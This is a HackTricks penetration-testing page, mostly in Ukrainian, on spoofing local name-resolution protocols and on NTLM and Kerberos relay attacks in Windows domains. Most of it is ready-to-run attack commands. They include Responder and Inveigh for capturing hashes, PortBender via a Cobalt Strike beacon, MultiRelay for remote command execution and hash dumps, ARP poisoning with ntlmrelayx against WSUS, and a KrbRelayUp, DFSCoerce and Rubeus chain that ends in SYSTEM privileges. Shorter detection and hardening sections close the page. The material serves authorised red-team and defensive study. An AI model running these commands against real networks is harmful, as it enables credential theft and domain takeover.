Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Reading time: 14 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Мережеві протоколи

Local Host Resolution Protocols

  • LLMNR, NBT-NS, and mDNS:
  • Microsoft та інші операційні системи використовують LLMNR і NBT-NS для локального розв'язання імен, коли DNS не працює. Аналогічно, системи Apple і Linux використовують mDNS.
  • Ці протоколи вразливі до перехоплення та spoofing через їхню неавтентифіковану, широкомовну природу поверх UDP.
  • Responder може використовуватись для імітації сервісів шляхом відправки підроблених відповідей хостам, що роблять запити цими протоколами.
  • Додаткову інформацію про імітацію сервісів за допомогою Responder можна знайти тут.

Web Proxy Auto-Discovery Protocol (WPAD)

  • WPAD дозволяє браузерам автоматично виявляти налаштування проксі.
  • Виявлення здійснюється через DHCP, DNS або повернення до LLMNR та NBT-NS, якщо DNS не спрацював.
  • Responder може автоматизувати WPAD-атаки, спрямовуючи клієнтів на шкідливі WPAD-сервери.

Responder for Protocol Poisoning

  • Responder — інструмент для отруєння (poisoning) запитів LLMNR, NBT-NS та mDNS, вибірково відповідає в залежності від типу запиту, головним чином націлений на SMB-сервіси.
  • Він попередньо встановлений в Kali Linux, конфігурується в /etc/responder/Responder.conf.
  • Responder показує захоплені хеші на екрані та зберігає їх у директорії /usr/share/responder/logs.
  • Підтримує як IPv4, так і IPv6.
  • Windows-версія Responder доступна тут.

Running Responder

  • To run Responder with default settings: responder -I <Interface>
  • For more aggressive probing (with potential side effects): responder -I <Interface> -P -r -v
  • Techniques to capture NTLMv1 challenges/responses for easier cracking: responder -I <Interface> --lm --disable-ess
  • WPAD impersonation can be activated with: responder -I <Interface> --wpad
  • NetBIOS requests can be resolved to the attacker's IP, and an authentication proxy can be set up: responder.py -I <interface> -Pv

DHCP Poisoning with Responder

  • Підробка DHCP-відповідей може постійно отруїти маршрутизаційну інформацію жертви, пропонуючи менш помітну альтернативу ARP poisoning.
  • Це вимагає точного знання конфігурації цільової мережі.
  • Запуск атаки: ./Responder.py -I eth0 -Pdv
  • Цей метод ефективно дозволяє захоплювати NTLMv1/2 хеші, але потребує обережного виконання, щоб уникнути порушень роботи мережі.

Capturing Credentials with Responder

  • Responder буде імітувати сервіси, використовуючи вищезазначені протоколи, захоплюючи облікові дані (зазвичай NTLMv2 Challenge/Response), коли користувач намагається автентифікуватися проти підроблених сервісів.
  • Можна намагатись знизити рівень захисту до NetNTLMv1 або вимкнути ESS для полегшення злому облікових даних.

Вкрай важливо зазначити, що застосування цих технік має здійснюватися законно і етично, з належною авторизацією та униканням порушення або несанкціонованого доступу.

Inveigh

Inveigh — інструмент для penetration testers and red teamers, призначений для Windows-систем. Він надає функціонал, схожий на Responder, виконуючи spoofing та man-in-the-middle атаки. Інструмент еволюціонував від PowerShell-скрипту до C# бінарника, з Inveigh та InveighZero як основними версіями. Детальні параметри та інструкції можна знайти у wiki.

Inveigh can be operated through PowerShell:

bash
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

Або виконано як двійковий файл C#:

bash
Inveigh.exe

NTLM Relay Attack

Ця атака використовує сеанси аутентифікації SMB для отримання доступу до цільової машини і надання system shell у разі успіху. Ключові передумови включають:

  • Аутентифікований користувач повинен мати доступ Local Admin на хості, куди пересилається аутентифікація.
  • SMB signing має бути вимкнено.

445 Перенаправлення та тунелювання порту

У випадках, коли прямий мережевий доступ неможливий, трафік на порті 445 потрібно перенаправити та тунелювати. Інструменти на зразок PortBender допомагають перенаправляти трафік порту 445 на інший порт, що важливо, коли є доступ Local Admin для завантаження драйвера.

PortBender setup and operation in Cobalt Strike:

bash
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

Інші інструменти для NTLM Relay Attack

  • Metasploit: Налаштовується з використанням проксі, деталей локального та віддаленого хостів.
  • smbrelayx: Python-скрипт для ретранслювання SMB-сесій та виконання команд або розгортання backdoors.
  • MultiRelay: Інструмент із набору Responder для ретранслювання конкретних користувачів або всіх користувачів, виконання команд або dump hashes.

Кожний інструмент може бути налаштований на роботу через SOCKS proxy за потреби, що дозволяє проводити атаки навіть при непрямому доступі до мережі.

Робота MultiRelay

MultiRelay запускається з директорії /usr/share/responder/tools, орієнтуючись на конкретні IP-адреси або користувачів.

bash
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

Ці інструменти та техніки становлять комплексний набір для проведення NTLM Relay атак у різних мережевих середовищах.

Зловживання WSUS HTTP (8530) для NTLM Relay до LDAP/SMB/AD CS (ESC8)

WSUS клієнти автентифікуються до свого update-сервера за допомогою NTLM поверх HTTP (8530) або HTTPS (8531). Коли HTTP увімкнено, періодичні перевірки клієнтів можна змусити або перехопити в локальному сегменті і ретранслювати за допомогою ntlmrelayx до LDAP/LDAPS/SMB або AD CS HTTP endpoint-ів (ESC8) без злому хешів. Це зливається з нормальним трафіком оновлень і часто дає автентифікації машинних акаунтів (HOST$).

What to look for

  • GPO/registry configuration under HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate and ...\WindowsUpdate\AU:
  • WUServer (e.g., http://wsus.domain.local:8530)
  • WUStatusServer (reporting URL)
  • UseWUServer (1 = WSUS; 0 = Microsoft Update)
  • DetectionFrequencyEnabled and DetectionFrequency (hours)
  • WSUS SOAP endpoints used by clients over HTTP:
  • /ClientWebService/client.asmx (approvals)
  • /ReportingWebService/reportingwebservice.asmx (status)
  • Default ports: 8530/tcp HTTP, 8531/tcp HTTPS

Розвідка

  • Неаутентифіковано
  • Scan for listeners: nmap -sSVC -Pn --open -p 8530,8531 -iL
  • Sniff HTTP WSUS traffic via L2 MITM and log active clients/endpoints with wsusniff.py (HTTP only unless you can make clients trust your TLS cert).
  • Аутентифіковано
  • Parse SYSVOL GPOs for WSUS keys with MANSPIDER + regpol (wsuspider.sh wrapper summarises WUServer/WUStatusServer/UseWUServer).
  • Query endpoints at scale from hosts (NetExec) or locally: nxc smb -u -p -M reg-query -o PATH="HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" KEY="WUServer" reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate

End-to-end HTTP relay steps

  1. Займіть позицію для MITM (той же L2), щоб клієнт резолвив WSUS server на вас (ARP/DNS poisoning, Bettercap, mitm6, etc.). Приклад з arpspoof: arpspoof -i -t <wsus_client_ip> <wsus_server_ip>

  2. Перенаправте порт 8530 на свій relay listener (необов’язково, зручно): iptables -t nat -A PREROUTING -p tcp --dport 8530 -j REDIRECT --to-ports 8530 iptables -t nat -L PREROUTING --line-numbers

  3. Запустіть ntlmrelayx з HTTP listener-ом (потребує підтримки HTTP listener в Impacket; див. PR-ри нижче): ntlmrelayx.py -t ldap:// -smb2support -socks --keep-relaying --http-port 8530

Інші поширені цілі:

  • Relay to SMB (if signing off) for exec/dump: -t smb://
  • Relay to LDAPS for directory changes (e.g., RBCD): -t ldaps://
  • Relay to AD CS web enrollment (ESC8) to mint a cert and then authenticate via Schannel/PKINIT: ntlmrelayx.py --http-port 8530 -t http:///certsrv/certfnsh.asp --adcs --no-http-server For deeper AD CS abuse paths and tooling, see the AD CS page:

AD CS Domain Escalation

  1. Викличте перевірку клієнта або дочекайтесь за розкладом. На клієнті: wuauclt.exe /detectnow or use the Windows Update UI (Check for updates).

  2. Використовуйте аутентифіковані SOCKS-сесії (якщо -socks) або прямі результати relay для post-exploitation (LDAP зміни, SMB операції або випуск сертифіката через AD CS для подальшої автентифікації).

HTTPS constraint (8531)

  • Пасивний перехоплення WSUS через HTTPS неефективне, якщо клієнти не довіряють вашому сертифікату. Без довіреного сертифікату або іншого розриву TLS, NTLM handshake неможливо зібрати/ретранслювати з WSUS HTTPS трафіку.

Примітки

  • WSUS було оголошено deprecated, але залишається поширеним; HTTP (8530) досі часто використовується в багатьох середовищах.
  • Корисні помічники: wsusniff.py (спостереження HTTP WSUS check-in), wsuspider.sh (перераховує WUServer/WUStatusServer з GPO), NetExec reg-query для масового опитування.
  • Impacket відновив підтримку HTTP listener-а для ntlmrelayx у PR #2034 (спочатку додано в PR #913).

Примусові NTLM логіни

В Windows ви можете змусити деякі привілейовані акаунти автентифікуватися на довільних машинах. Прочитайте наступну сторінку, щоб дізнатися як:

Force NTLM Privileged Authentication

Kerberos Relay attack

A Kerberos relay attack викрадає AP-REQ ticket з одного сервісу і повторно використовує його проти другого сервісу, який має той самий computer-account key (бо обидва SPN сидять на одному $ machine account). Це працює навіть якщо service classes SPN різняться (наприклад CIFS/LDAP/), тому що ключ, який дешифрує ticket — це NT hash машини, а не рядок SPN, і рядок SPN не є частиною підпису.

На відміну від NTLM relay, перехід обмежений тим же хостом, але якщо ви націлені на протокол, який дозволяє писати в LDAP, ви можете зв’язати це в Resource-Based Constrained Delegation (RBCD) або AD CS enrollment і отримати NT AUTHORITY\SYSTEM за один раз.

For detailed info about this attack check:

TokenPurposeRelay relevance
TGT / AS-REQ ↔ REPПідтверджує користувача перед KDCне зачіпається
Service ticket / TGS-REQ ↔ REPПрив’язаний до одного SPN; зашифрований ключем власника SPNвзаємозамінний, якщо SPN прив’язані до одного акаунта
AP-REQКлієнт надсилає TGS сервісущо ми викрадаємо та повторно використовуємо
  • Квитки зашифровані ключем, похідним від пароля акаунта, що володіє SPN.
  • Authenticator всередині AP-REQ має 5-хвилинну мітку часу; повторний програвання в цьому вікні є валідним, поки кеш сервісу не виявить дубліката.
  • Windows рідко перевіряє, чи рядок SPN у ticket збігається з сервісом, до якого ви звертаєтесь, тож ticket для CIFS/HOST зазвичай успішно дешифрується на LDAP/HOST.
    1. What must be true to relay Kerberos
  1. Shared key: джерельні та цільові SPN належать одному й тому ж computer account (за замовчуванням на Windows серверах).
  2. No channel protection: SMB/LDAP signing вимкнено та EPA вимкнено для HTTP/LDAPS.
  3. You can intercept or coerce authentication: LLMNR/NBNS poison, DNS spoof, PetitPotam / DFSCoerce RPC, fake AuthIP, rogue DCOM тощо.
  4. Ticket source not already used: ви маєте перемогти в гонитві до того, як реальний пакет дійде, або повністю його заблокувати; інакше кеш повторів сервера зафіксує Event 4649.
  5. Вам якось потрібно вміти виконувати MitM у комунікації — наприклад бути в групі DNSAmins щоб змінювати DNS домену або мати змогу змінити HOST файл жертви.

Kerberos Relay Steps

  • 3.1 Recon the host
powershell
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
  • 3.2 Запустіть relay listener

KrbRelayUp

powershell
# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8

KrbRelayUp упаковує KrbRelay → LDAP → RBCD → Rubeus → SCM bypass в один binary.

  • 3.3 Coerce Kerberos auth
powershell
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50

DFSCoerce змушує DC надіслати нам Kerberos CIFS/DC01 квиток.

  • 3.4 Relay the AP-REQ

KrbRelay витягує GSS blob із SMB, пакує його в LDAP bind і пересилає на ldap://DC01 — автентифікація вдається, оскільки той самий ключ його розшифровує.

  • 3.5 Abuse LDAP ➜ RBCD ➜ SYSTEM
powershell
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe

Тепер ви володієте NT AUTHORITY\SYSTEM.

Більше шляхів, які варто знати

ВекторХитрістьЧому це важливо
AuthIP / IPSecПідроблений сервер надсилає GSS-ID payload з будь-яким SPN; клієнт формує AP-REQ безпосередньо до васПрацює навіть через підмережі; машинні облікові дані за замовчуванням
DCOM / MSRPCЗловмисний OXID resolver змушує клієнта автентифікуватися до довільного SPN і портуЧисте локальне priv-esc; обходить firewall
AD CS Web EnrollПереслати машинний квиток до HTTP/CA і отримати сертифікат, потім PKINIT для випуску TGTsОбминає захист підписування LDAP
Shadow CredentialsЗаписати msDS-KeyCredentialLink, потім PKINIT з підробленою парою ключівНемає потреби додавати обліковий запис комп’ютера

Усунення неполадок

ПомилкаЗначенняВиправлення
KRB_AP_ERR_MODIFIEDКлюч квитка ≠ ключ ціліНевірний хост/SPN
KRB_AP_ERR_SKEWГодинник має зсув > 5 хвСинхронізуйте час або використайте w32tm
LDAP bind failsПідписування примусово ввімкненоВикористайте шлях AD CS або вимкніть підписування
Event 4649 spamСервіс побачив дубльований AuthenticatorБлокувати або випередити оригінальний пакет

Виявлення

  • Сплеск у Event 4769 для CIFS/, HTTP/, LDAP/ з одного джерела протягом кількох секунд.
  • Event 4649 на сервісі вказує на виявлення replay.
  • Kerberos логон з 127.0.0.1 (relay до локального SCM) є вкрай підозрілим — відстежуйте через правило Sigma у документації KrbRelayUp.
  • Слідкуйте за змінами атрибутів msDS-AllowedToActOnBehalfOfOtherIdentity або msDS-KeyCredentialLink.

Підсилення захисту

  1. Примусово ввімкніть підписування LDAP і SMB та EPA на кожному сервері.
  2. Розділіть SPN так, щоб HTTP не був на тому ж обліковому записі, що й CIFS/LDAP.
  3. Запатчіть вектори примусу (PetitPotam KB5005413, DFS, AuthIP).
  4. Встановіть ms-DS-MachineAccountQuota = 0 щоб зупинити несанкціоновані приєднання комп’ютерів.
  5. Налаштуйте оповіщення щодо Event 4649 та несподіваних loopback Kerberos логонів.

Джерела

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks